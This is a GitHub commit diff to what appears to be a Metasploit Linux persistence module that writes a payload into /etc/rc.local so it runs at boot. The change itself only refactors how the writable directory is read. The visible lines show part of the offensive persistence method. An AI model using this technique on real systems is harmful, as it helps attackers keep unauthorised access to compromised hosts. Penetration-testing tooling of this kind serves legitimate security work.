Skip to content

Commit feb4c6f

Browse files
committed
rc_local updated with mixin udpates
1 parent e0f350f commit feb4c6f

File tree

1 file changed

+3
-3
lines changed

1 file changed

+3
-3
lines changed

modules/exploits/linux/persistence/rc_local.rb

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -62,7 +62,7 @@ def initialize(info = {})
6262
end
6363

6464
def check
65-
print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('/tmp')
65+
print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
6666
# a few notes for those who like to read source code. On Ubuntu 18.04.3, when no
6767
# /etc/rc.local file exists, systemctl status rc.local shows inactive (dead).
6868
# When /etc/rc.local exists, systemctl status rc.local shows active (exited).
@@ -77,7 +77,7 @@ def check
7777
end
7878

7979
def install_persistence
80-
print_warning('Payloads in /tmp will only last until reboot, you may want to choose elsewhere.') if datastore['WritableDir'].start_with?('/tmp')
80+
print_warning('Payloads in /tmp will only last until reboot, you may want to choose elsewhere.') if writable_dir.start_with?('/tmp')
8181
rc_path = '/etc/rc.local'
8282

8383
print_status "Reading #{rc_path}"
@@ -97,7 +97,7 @@ def install_persistence
9797
rc_local << "\n#{pload}\nexit 0\n"
9898
print_status "Patching #{rc_path}"
9999
else
100-
payload_path = datastore['WritableDir']
100+
payload_path = writable_dir
101101
payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/"
102102
payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)
103103
payload_path << payload_name

0 commit comments

Comments
 (0)